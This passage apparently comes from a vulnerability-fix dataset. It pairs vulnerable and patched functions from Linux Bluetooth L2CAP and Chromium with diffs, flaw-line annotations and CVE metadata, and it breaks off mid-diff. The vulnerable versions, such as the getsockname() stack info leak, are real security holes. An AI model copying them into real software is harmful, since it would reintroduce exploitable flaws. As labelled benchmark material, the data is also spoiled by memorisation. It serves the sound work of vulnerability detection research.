792039c73cf176c8e39a6e8beef2c94ff46522ed
|
Bluetooth: L2CAP - Fix info leak via getsockname()
The L2CAP code fails to initialize the l2_bdaddr_type member of struct
sockaddr_l2 and the padding byte added for alignment. It that for leaks
two bytes kernel stack via the getsockname() syscall. Add an explicit
memset(0) before filling the structure to avoid the info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
| 0
|
net/bluetooth/l2cap_sock.c
|
{"sha": "1497edd191a2e04ee3121624db92547059f24369", "filename": "net/bluetooth/l2cap_sock.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/792039c73cf176c8e39a6e8beef2c94ff46522ed/net/bluetooth/l2cap_sock.c", "raw_url": "https://github.com/torvalds/linux/raw/792039c73cf176c8e39a6e8beef2c94ff46522ed/net/bluetooth/l2cap_sock.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/bluetooth/l2cap_sock.c?ref=792039c73cf176c8e39a6e8beef2c94ff46522ed", "patch": "@@ -245,6 +245,7 @@ static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *l\n \n \tBT_DBG(\"sock %p, sk %p\", sock, sk);\n \n+\tmemset(la, 0, sizeof(struct sockaddr_l2));\n \taddr->sa_family = AF_BLUETOOTH;\n \t*len = sizeof(struct sockaddr_l2);\n "}
|
static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)
{
struct sockaddr_l2 *la = (struct sockaddr_l2 *) addr;
struct sock *sk = sock->sk;
struct l2cap_chan *chan = l2cap_pi(sk)->chan;
BT_DBG("sock %p, sk %p", sock, sk);
memset(la, 0, sizeof(struct sockaddr_l2));
addr->sa_family = AF_BLUETOOTH;
*len = sizeof(struct sockaddr_l2);
if (peer) {
la->l2_psm = chan->psm;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->dst);
la->l2_cid = cpu_to_le16(chan->dcid);
} else {
la->l2_psm = chan->sport;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->src);
la->l2_cid = cpu_to_le16(chan->scid);
}
return 0;
}
|
static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)
{
struct sockaddr_l2 *la = (struct sockaddr_l2 *) addr;
struct sock *sk = sock->sk;
struct l2cap_chan *chan = l2cap_pi(sk)->chan;
BT_DBG("sock %p, sk %p", sock, sk);
addr->sa_family = AF_BLUETOOTH;
*len = sizeof(struct sockaddr_l2);
if (peer) {
la->l2_psm = chan->psm;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->dst);
la->l2_cid = cpu_to_le16(chan->dcid);
} else {
la->l2_psm = chan->sport;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->src);
la->l2_cid = cpu_to_le16(chan->scid);
}
return 0;
}
|
C
|
memset(la, 0, sizeof(struct sockaddr_l2));
| null | null |
@@ -245,6 +245,7 @@ static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *l
BT_DBG("sock %p, sk %p", sock, sk);
+ memset(la, 0, sizeof(struct sockaddr_l2));
addr->sa_family = AF_BLUETOOTH;
*len = sizeof(struct sockaddr_l2);
|
linux
|
792039c73cf176c8e39a6e8beef2c94ff46522ed
|
9344a972961d1a6d2c04d9008b13617bcb6ec2ef
| 1
|
static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)
{
struct sockaddr_l2 *la = (struct sockaddr_l2 *) addr;
struct sock *sk = sock->sk;
struct l2cap_chan *chan = l2cap_pi(sk)->chan;
BT_DBG("sock %p, sk %p", sock, sk);
//fix_flaw_line_below:
// memset(la, 0, sizeof(struct sockaddr_l2));
addr->sa_family = AF_BLUETOOTH;
*len = sizeof(struct sockaddr_l2);
if (peer) {
la->l2_psm = chan->psm;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->dst);
la->l2_cid = cpu_to_le16(chan->dcid);
} else {
la->l2_psm = chan->sport;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->src);
la->l2_cid = cpu_to_le16(chan->scid);
}
return 0;
}
|
148,486
| null |
Remote
|
Not required
| null |
CVE-2017-5093
|
https://www.cvedetails.com/cve/CVE-2017-5093/
|
CWE-20
|
Medium
| null |
Partial
| null |
2017-10-27
| 4.3
|
Inappropriate implementation in modal dialog handling in Blink in Google Chrome prior to 60.0.3112.78 for Mac, Windows, Linux, and Android allowed a remote attacker to prevent a full screen warning from being displayed via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
|
0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
|
If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
| 0
|
content/browser/web_contents/web_contents_impl.cc
|
{"sha": "07850f544b6aafceacd85de0a666881fd2ad06b9", "filename": "chrome/browser/printing/print_job_worker.cc", "status": "modified", "additions": 10, "deletions": 4, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/chrome/browser/printing/print_job_worker.cc", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/chrome/browser/printing/print_job_worker.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/print_job_worker.cc?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -216,12 +216,13 @@ void PrintJobWorker::GetSettingsWithUI(\n bool is_scripted) {\n DCHECK_CURRENTLY_ON(BrowserThread::UI);\n \n+ PrintingContextDelegate* printing_context_delegate =\n+ static_cast<PrintingContextDelegate*>(printing_context_delegate_.get());\n+ content::WebContents* web_contents =\n+ printing_context_delegate->GetWebContents();\n+\n #if defined(OS_ANDROID)\n if (is_scripted) {\n- PrintingContextDelegate* printing_context_delegate =\n- static_cast<PrintingContextDelegate*>(printing_context_delegate_.get());\n- content::WebContents* web_contents =\n- printing_context_delegate->GetWebContents();\n TabAndroid* tab =\n web_contents ? TabAndroid::FromWebContents(web_contents) : nullptr;\n \n@@ -233,6 +234,11 @@ void PrintJobWorker::GetSettingsWithUI(\n }\n #endif\n \n+ // Running a dialog causes an exit to webpage-initiated fullscreen.\n+ // http://crbug.com/728276\n+ if (web_contents->IsFullscreenForCurrentTab())\n+ web_contents->ExitFullscreen(true);\n+\n // weak_factory_ creates pointers valid only on owner_ thread.\n printing_context_->AskUserForSettings(\n document_page_count, has_selection, is_scripted,"}<_**next**_>{"sha": "fa54bcc082dac86618393716e52dba9b2013dc80", "filename": "chrome/browser/printing/print_view_manager.cc", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/chrome/browser/printing/print_view_manager.cc", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/chrome/browser/printing/print_view_manager.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/print_view_manager.cc?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -220,6 +220,11 @@ void PrintViewManager::OnShowScriptedPrintPreview(content::RenderFrameHost* rfh,\n return;\n }\n \n+ // Running a dialog causes an exit to webpage-initiated fullscreen.\n+ // http://crbug.com/728276\n+ if (web_contents()->IsFullscreenForCurrentTab())\n+ web_contents()->ExitFullscreen(true);\n+\n dialog_controller->PrintPreview(web_contents());\n PrintHostMsg_RequestPrintPreview_Params params;\n params.is_modifiable = source_is_modifiable;"}<_**next**_>{"sha": "be034d41d2cfd73b06a1818f72960c0ced5f10e5", "filename": "content/browser/web_contents/web_contents_impl.cc", "status": "modified", "additions": 10, "deletions": 0, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/web_contents/web_contents_impl.cc?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -4425,6 +4425,11 @@ void WebContentsImpl::RunJavaScriptDialog(RenderFrameHost* render_frame_host,\n const GURL& frame_url,\n JavaScriptDialogType dialog_type,\n IPC::Message* reply_msg) {\n+ // Running a dialog causes an exit to webpage-initiated fullscreen.\n+ // http://crbug.com/728276\n+ if (IsFullscreenForCurrentTab())\n+ ExitFullscreen(true);\n+\n // Suppress JavaScript dialogs when requested. Also suppress messages when\n // showing an interstitial as it's shown over the previous page and we don't\n // want the hidden page's dialogs to interfere with the interstitial.\n@@ -4457,6 +4462,11 @@ void WebContentsImpl::RunBeforeUnloadConfirm(\n RenderFrameHost* render_frame_host,\n bool is_reload,\n IPC::Message* reply_msg) {\n+ // Running a dialog causes an exit to webpage-initiated fullscreen.\n+ // http://crbug.com/728276\n+ if (IsFullscreenForCurrentTab())\n+ ExitFullscreen(true);\n+\n RenderFrameHostImpl* rfhi =\n static_cast<RenderFrameHostImpl*>(render_frame_host);\n if (delegate_)"}<_**next**_>{"sha": "e6fe43f9736f9c9de064b0da1a81e968666c1a31", "filename": "content/browser/web_contents/web_contents_impl.h", "status": "modified", "additions": 5, "deletions": 1, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/web_contents/web_contents_impl.h?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -448,6 +448,7 @@ class CONTENT_EXPORT WebContentsImpl\n void StopFinding(StopFindAction action) override;\n bool WasRecentlyAudible() override;\n void GetManifest(const GetManifestCallback& callback) override;\n+ bool IsFullscreenForCurrentTab() const override;\n void ExitFullscreen(bool will_cause_resize) override;\n void ResumeLoadingCreatedWebContents() override;\n void OnPasswordInputShownOnHttp() override;\n@@ -705,7 +706,8 @@ class CONTENT_EXPORT WebContentsImpl\n bool user_gesture,\n bool last_unlocked_by_target,\n bool privileged) override;\n- bool IsFullscreenForCurrentTab() const override;\n+ // The following function is already listed under WebContents overrides:\n+ // bool IsFullscreenForCurrentTab() const override;\n blink::WebDisplayMode GetDisplayMode(\n RenderWidgetHostImpl* render_widget_host) const override;\n void LostCapture(RenderWidgetHostImpl* render_widget_host) override;\n@@ -911,6 +913,8 @@ class CONTENT_EXPORT WebContentsImpl\n CrossSiteIframeAccessibility);\n FRIEND_TEST_ALL_PREFIXES(WebContentsImplBrowserTest,\n JavaScriptDialogsInMainAndSubframes);\n+ FRIEND_TEST_ALL_PREFIXES(WebContentsImplBrowserTest,\n+ DialogsFromJavaScriptEndFullscreen);\n FRIEND_TEST_ALL_PREFIXES(RenderFrameHostImplBrowserTest,\n IframeBeforeUnloadParentHang);\n FRIEND_TEST_ALL_PREFIXES(RenderFrameHostImplBrowserTest,"}<_**next**_>{"sha": "2f161b0134423a18edfa73ad2a9d3d710586340e", "filename": "content/browser/web_contents/web_contents_impl_browsertest.cc", "status": "modified", "additions": 74, "deletions": 2, "changes": 76, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/browser/web_contents/web_contents_impl_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/web_contents/web_contents_impl_browsertest.cc?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -942,7 +942,8 @@ namespace {\n class TestJavaScriptDialogManager : public JavaScriptDialogManager,\n public WebContentsDelegate {\n public:\n- TestJavaScriptDialogManager() : message_loop_runner_(new MessageLoopRunner) {}\n+ TestJavaScriptDialogManager()\n+ : is_fullscreen_(false), message_loop_runner_(new MessageLoopRunner) {}\n ~TestJavaScriptDialogManager() override {}\n \n void Wait() {\n@@ -959,6 +960,20 @@ class TestJavaScriptDialogManager : public JavaScriptDialogManager,\n return this;\n }\n \n+ void EnterFullscreenModeForTab(WebContents* web_contents,\n+ const GURL& origin) override {\n+ is_fullscreen_ = true;\n+ }\n+\n+ void ExitFullscreenModeForTab(WebContents*) override {\n+ is_fullscreen_ = false;\n+ }\n+\n+ bool IsFullscreenForTabOrPending(\n+ const WebContents* web_contents) const override {\n+ return is_fullscreen_;\n+ }\n+\n // JavaScriptDialogManager\n \n void RunJavaScriptDialog(WebContents* web_contents,\n@@ -976,7 +991,10 @@ class TestJavaScriptDialogManager : public JavaScriptDialogManager,\n \n void RunBeforeUnloadDialog(WebContents* web_contents,\n bool is_reload,\n- const DialogClosedCallback& callback) override {}\n+ const DialogClosedCallback& callback) override {\n+ callback.Run(true, base::string16());\n+ message_loop_runner_->Quit();\n+ }\n \n bool HandleJavaScriptDialog(WebContents* web_contents,\n bool accept,\n@@ -990,6 +1008,8 @@ class TestJavaScriptDialogManager : public JavaScriptDialogManager,\n private:\n std::string last_message_;\n \n+ bool is_fullscreen_;\n+\n // The MessageLoopRunner used to spin the message loop.\n scoped_refptr<MessageLoopRunner> message_loop_runner_;\n \n@@ -1395,4 +1415,56 @@ IN_PROC_BROWSER_TEST_F(WebContentsImplBrowserTest, UserAgentOverride) {\n old_delegate));\n }\n \n+IN_PROC_BROWSER_TEST_F(WebContentsImplBrowserTest,\n+ DialogsFromJavaScriptEndFullscreen) {\n+ WebContentsImpl* wc = static_cast<WebContentsImpl*>(shell()->web_contents());\n+ TestJavaScriptDialogManager dialog_manager;\n+ wc->SetDelegate(&dialog_manager);\n+\n+ GURL url(\"about:blank\");\n+ EXPECT_TRUE(NavigateToURL(shell(), url));\n+\n+ // alert\n+ wc->EnterFullscreenMode(url);\n+ EXPECT_TRUE(wc->IsFullscreenForCurrentTab());\n+ std::string script = \"alert('hi')\";\n+ EXPECT_TRUE(content::ExecuteScript(wc, script));\n+ dialog_manager.Wait();\n+ EXPECT_FALSE(wc->IsFullscreenForCurrentTab());\n+\n+ // confirm\n+ wc->EnterFullscreenMode(url);\n+ EXPECT_TRUE(wc->IsFullscreenForCurrentTab());\n+ script = \"confirm('hi')\";\n+ EXPECT_TRUE(content::ExecuteScript(wc, script));\n+ dialog_manager.Wait();\n+ EXPECT_FALSE(wc->IsFullscreenForCurrentTab());\n+\n+ // prompt\n+ wc->EnterFullscreenMode(url);\n+ EXPECT_TRUE(wc->IsFullscreenForCurrentTab());\n+ script = \"prompt('hi')\";\n+ EXPECT_TRUE(content::ExecuteScript(wc, script));\n+ dialog_manager.Wait();\n+ EXPECT_FALSE(wc->IsFullscreenForCurrentTab());\n+\n+ // beforeunload\n+ wc->EnterFullscreenMode(url);\n+ EXPECT_TRUE(wc->IsFullscreenForCurrentTab());\n+ // Disable the hang monitor (otherwise there will be a race between the\n+ // beforeunload dialog and the beforeunload hang timer) and give the page a\n+ // gesture to allow dialogs.\n+ wc->GetMainFrame()->DisableBeforeUnloadHangMonitorForTesting();\n+ wc->GetMainFrame()->ExecuteJavaScriptWithUserGestureForTests(\n+ base::string16());\n+ script = \"window.onbeforeunload=function(e){ return 'x' };\";\n+ EXPECT_TRUE(content::ExecuteScript(wc, script));\n+ EXPECT_TRUE(NavigateToURL(shell(), url));\n+ dialog_manager.Wait();\n+ EXPECT_FALSE(wc->IsFullscreenForCurrentTab());\n+\n+ wc->SetDelegate(nullptr);\n+ wc->SetJavaScriptDialogManagerForTesting(nullptr);\n+}\n+\n } // namespace content"}<_**next**_>{"sha": "ea487a2eb0370fb7f3177d393d28dc2cf60b1151", "filename": "content/public/browser/web_contents.h", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/public/browser/web_contents.h", "raw_url": "https://github.com/chromium/chromium/raw/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc/content/public/browser/web_contents.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/public/browser/web_contents.h?ref=0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc", "patch": "@@ -740,6 +740,9 @@ class WebContents : public PageNavigator,\n // Requests the manifest URL and the Manifest of the main frame's document.\n virtual void GetManifest(const GetManifestCallback& callback) = 0;\n \n+ // Returns whether the renderer is in fullscreen mode.\n+ virtual bool IsFullscreenForCurrentTab() const = 0;\n+\n // Requests the renderer to exit fullscreen.\n // |will_cause_resize| indicates whether the fullscreen change causes a\n // view resize. e.g. This will be false when going from tab fullscreen to"}
|
void WebContentsImpl::OnHideValidationMessage(RenderViewHostImpl* source) {
if (delegate_)
delegate_->HideValidationMessage(this);
}
|
void WebContentsImpl::OnHideValidationMessage(RenderViewHostImpl* source) {
if (delegate_)
delegate_->HideValidationMessage(this);
}
|
C
| null | null | null |
@@ -4425,6 +4425,11 @@ void WebContentsImpl::RunJavaScriptDialog(RenderFrameHost* render_frame_host,
const GURL& frame_url,
JavaScriptDialogType dialog_type,
IPC::Message* reply_msg) {
+ // Running a dialog causes an exit to webpage-initiated fullscreen.
+ // http://crbug.com/728276
+ if (IsFullscreenForCurrentTab())
+ ExitFullscreen(true);
+
// Suppress JavaScript dialogs when requested. Also suppress messages when
// showing an interstitial as it's shown over the previous page and we don't
// want the hidden page's dialogs to interfere with the interstitial.
@@ -4457,6 +4462,11 @@ void WebContentsImpl::RunBeforeUnloadConfirm(
RenderFrameHost* render_frame_host,
bool is_reload,
IPC::Message* reply_msg) {
+ // Running a dialog causes an exit to webpage-initiated fullscreen.
+ // http://crbug.com/728276
+ if (IsFullscreenForCurrentTab())
+ ExitFullscreen(true);
+
RenderFrameHostImpl* rfhi =
static_cast<RenderFrameHostImpl*>(render_frame_host);
if (delegate_)
|
Chrome
|
0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
|
3adbcbaa43c1d5069da92d154a7382943c5a2881
| 0
|
void WebContentsImpl::OnHideValidationMessage(RenderViewHostImpl* source) {
// TODO(nick): Should we consider |source| here or pass it to the delegate?
if (delegate_)
delegate_->HideValidationMessage(this);
}
|
169,406
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-6121
|
https://www.cvedetails.com/cve/CVE-2018-6121/
|
CWE-20
|
Medium
|
Partial
|
Partial
| null |
2019-06-27
| 6.8
|
Insufficient validation of input in Blink in Google Chrome prior to 66.0.3359.170 allowed a remote attacker to perform privilege escalation via a crafted HTML page.
|
2019-07-01
| null | 0
|
https://github.com/chromium/chromium/commit/7614790c80996d32a28218f4d1605b0908e9ddf6
|
7614790c80996d32a28218f4d1605b0908e9ddf6
|
Apply ExtensionNavigationThrottle filesystem/blob checks to all frames.
BUG=836858
Change-Id: I34333a72501129fd40b5a9aa6378c9f35f1e7fc2
Reviewed-on: https://chromium-review.googlesource.com/1028511
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Nick Carter <nick@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#553867}
| 0
|
content/public/test/browser_test_utils.cc
|
{"sha": "bde2056c656777f3282a8110fbcc9dc46f0d70ff", "filename": "chrome/browser/extensions/process_manager_browsertest.cc", "status": "modified", "additions": 67, "deletions": 0, "changes": 67, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/chrome/browser/extensions/process_manager_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/chrome/browser/extensions/process_manager_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/process_manager_browsertest.cc?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -923,6 +923,73 @@ IN_PROC_BROWSER_TEST_F(ProcessManagerBrowserTest,\n }\n }\n \n+// Test that navigations to blob: and filesystem: URLs with extension origins\n+// are disallowed in subframes when initiated from non-extension processes, even\n+// when the main frame lies about its origin. See https://crbug.com/836858.\n+IN_PROC_BROWSER_TEST_F(ProcessManagerBrowserTest,\n+ NestedURLNavigationsToExtensionBlockedInSubframe) {\n+ // Disabling web security is necessary to test the browser enforcement;\n+ // without it, the loads in this test would be blocked by\n+ // SecurityOrigin::canDisplay() as invalid local resource loads.\n+ PrefService* prefs = browser()->profile()->GetPrefs();\n+ prefs->SetBoolean(prefs::kWebKitWebSecurityEnabled, false);\n+\n+ // Create a simple extension without a background page.\n+ const Extension* extension = CreateExtension(\"Extension\", false);\n+ embedded_test_server()->ServeFilesFromDirectory(extension->path());\n+ ASSERT_TRUE(embedded_test_server()->Start());\n+\n+ // Navigate main tab to a web page with two web iframes. There should be no\n+ // extension frames yet.\n+ NavigateToURL(embedded_test_server()->GetURL(\"/two_iframes.html\"));\n+ ProcessManager* pm = ProcessManager::Get(profile());\n+ EXPECT_EQ(0u, pm->GetAllFrames().size());\n+ EXPECT_EQ(0u, pm->GetRenderFrameHostsForExtension(extension->id()).size());\n+\n+ content::WebContents* tab =\n+ browser()->tab_strip_model()->GetActiveWebContents();\n+\n+ // Navigate first subframe to an extension URL. This will go into a new\n+ // extension process.\n+ const GURL extension_url(extension->url().Resolve(\"empty.html\"));\n+ EXPECT_TRUE(content::NavigateIframeToURL(tab, \"frame1\", extension_url));\n+ EXPECT_EQ(1u, pm->GetRenderFrameHostsForExtension(extension->id()).size());\n+ EXPECT_EQ(1u, pm->GetAllFrames().size());\n+\n+ content::RenderFrameHost* main_frame = tab->GetMainFrame();\n+ content::RenderFrameHost* extension_frame = ChildFrameAt(main_frame, 0);\n+\n+ // Create valid blob and filesystem URLs in the extension's origin.\n+ url::Origin extension_origin(extension_frame->GetLastCommittedOrigin());\n+ GURL blob_url(CreateBlobURL(extension_frame, \"foo\"));\n+ EXPECT_EQ(extension_origin, url::Origin::Create(blob_url));\n+ GURL filesystem_url(CreateFileSystemURL(extension_frame, \"foo\"));\n+ EXPECT_EQ(extension_origin, url::Origin::Create(filesystem_url));\n+\n+ // Suppose that the main frame's origin incorrectly claims it is an extension,\n+ // even though it is not in an extension process. This used to bypass the\n+ // checks in ExtensionNavigationThrottle.\n+ OverrideLastCommittedOrigin(main_frame, extension_origin);\n+\n+ // Navigate second subframe to each nested URL from the main frame (i.e.,\n+ // from non-extension process). These should be canceled.\n+ GURL nested_urls[] = {blob_url, filesystem_url};\n+ for (size_t i = 0; i < arraysize(nested_urls); i++) {\n+ EXPECT_TRUE(content::NavigateIframeToURL(tab, \"frame2\", nested_urls[i]));\n+ content::RenderFrameHost* second_frame = ChildFrameAt(main_frame, 1);\n+\n+ EXPECT_NE(nested_urls[i], second_frame->GetLastCommittedURL());\n+ EXPECT_FALSE(extension_origin.IsSameOriginWith(\n+ second_frame->GetLastCommittedOrigin()));\n+ EXPECT_NE(\"foo\", GetTextContent(second_frame));\n+ EXPECT_EQ(1u, pm->GetRenderFrameHostsForExtension(extension->id()).size());\n+ EXPECT_EQ(1u, pm->GetAllFrames().size());\n+\n+ EXPECT_TRUE(\n+ content::NavigateIframeToURL(tab, \"frame2\", GURL(url::kAboutBlankURL)));\n+ }\n+}\n+\n // Test that navigations to blob: and filesystem: URLs with extension origins\n // are allowed when initiated from extension processes. See\n // https://crbug.com/645028 and https://crbug.com/644426."}<_**next**_>{"sha": "f662f6580ddd1bce8f26bb3cf84ae74985594ef4", "filename": "content/browser/frame_host/render_frame_host_impl.cc", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/content/browser/frame_host/render_frame_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/content/browser/frame_host/render_frame_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.cc?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -1444,6 +1444,11 @@ void RenderFrameHostImpl::SetLastCommittedOrigin(const url::Origin& origin) {\n CSPContext::SetSelf(origin);\n }\n \n+void RenderFrameHostImpl::SetLastCommittedOriginForTesting(\n+ const url::Origin& origin) {\n+ SetLastCommittedOrigin(origin);\n+}\n+\n void RenderFrameHostImpl::SetLastCommittedUrl(const GURL& url) {\n last_committed_url_ = url;\n }"}<_**next**_>{"sha": "c1c73fbf4c41d1d717b93b3b28450f0754d5a276", "filename": "content/browser/frame_host/render_frame_host_impl.h", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/content/browser/frame_host/render_frame_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/content/browser/frame_host/render_frame_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.h?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -338,6 +338,9 @@ class CONTENT_EXPORT RenderFrameHostImpl\n // cases, use GetLastCommittedURL instead.\n const GURL& last_successful_url() { return last_successful_url_; }\n \n+ // Allows overriding the last committed origin in tests.\n+ void SetLastCommittedOriginForTesting(const url::Origin& origin);\n+\n // Fetch the link-rel canonical URL to be used for sharing to external\n // applications.\n void GetCanonicalUrlForSharing("}<_**next**_>{"sha": "18bb70b0c625881329c560fe8cdf2c454f692b81", "filename": "content/public/test/browser_test_utils.cc", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/content/public/test/browser_test_utils.cc", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/content/public/test/browser_test_utils.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/public/test/browser_test_utils.cc?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -626,6 +626,12 @@ bool IsLastCommittedEntryOfPageType(WebContents* web_contents,\n return last_entry->GetPageType() == page_type;\n }\n \n+void OverrideLastCommittedOrigin(RenderFrameHost* render_frame_host,\n+ const url::Origin& origin) {\n+ static_cast<RenderFrameHostImpl*>(render_frame_host)\n+ ->SetLastCommittedOriginForTesting(origin);\n+}\n+\n void CrashTab(WebContents* web_contents) {\n RenderProcessHost* rph = web_contents->GetMainFrame()->GetProcess();\n RenderProcessHostWatcher watcher("}<_**next**_>{"sha": "efce49be4d9d13f0af144fc3932a4131d50652e0", "filename": "content/public/test/browser_test_utils.h", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/content/public/test/browser_test_utils.h", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/content/public/test/browser_test_utils.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/public/test/browser_test_utils.h?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -121,6 +121,12 @@ void PrepContentsForBeforeUnloadTest(WebContents* web_contents);\n void WaitForResizeComplete(WebContents* web_contents);\n #endif // defined(USE_AURA) || defined(OS_ANDROID)\n \n+// Allows tests to set the last committed origin of |render_frame_host|, to\n+// simulate a scenario that might happen with a compromised renderer or might\n+// not otherwise be possible.\n+void OverrideLastCommittedOrigin(RenderFrameHost* render_frame_host,\n+ const url::Origin& origin);\n+\n // Causes the specified web_contents to crash. Blocks until it is crashed.\n void CrashTab(WebContents* web_contents);\n "}<_**next**_>{"sha": "9ff926c267dc28cbd11d13042f4379a7e4a5786c", "filename": "extensions/browser/extension_navigation_throttle.cc", "status": "modified", "additions": 23, "deletions": 22, "changes": 45, "blob_url": "https://github.com/chromium/chromium/blob/7614790c80996d32a28218f4d1605b0908e9ddf6/extensions/browser/extension_navigation_throttle.cc", "raw_url": "https://github.com/chromium/chromium/raw/7614790c80996d32a28218f4d1605b0908e9ddf6/extensions/browser/extension_navigation_throttle.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/extensions/browser/extension_navigation_throttle.cc?ref=7614790c80996d32a28218f4d1605b0908e9ddf6", "patch": "@@ -77,30 +77,31 @@ ExtensionNavigationThrottle::WillStartOrRedirectRequest() {\n }\n }\n \n- if (navigation_handle()->IsInMainFrame()) {\n- // Block top-level navigations to blob: or filesystem: URLs with extension\n- // origin from non-extension processes. See https://crbug.com/645028.\n- bool current_frame_is_extension_process =\n- !!registry->enabled_extensions().GetExtensionOrAppByURL(\n- navigation_handle()->GetStartingSiteInstance()->GetSiteURL());\n-\n- if (!url_has_extension_scheme && !current_frame_is_extension_process) {\n- // Relax this restriction for navigations that will result in downloads.\n- // See https://crbug.com/714373.\n- if (target_origin.scheme() == kExtensionScheme &&\n- navigation_handle()->GetSuggestedFilename().has_value()) {\n- return content::NavigationThrottle::PROCEED;\n- }\n-\n- // 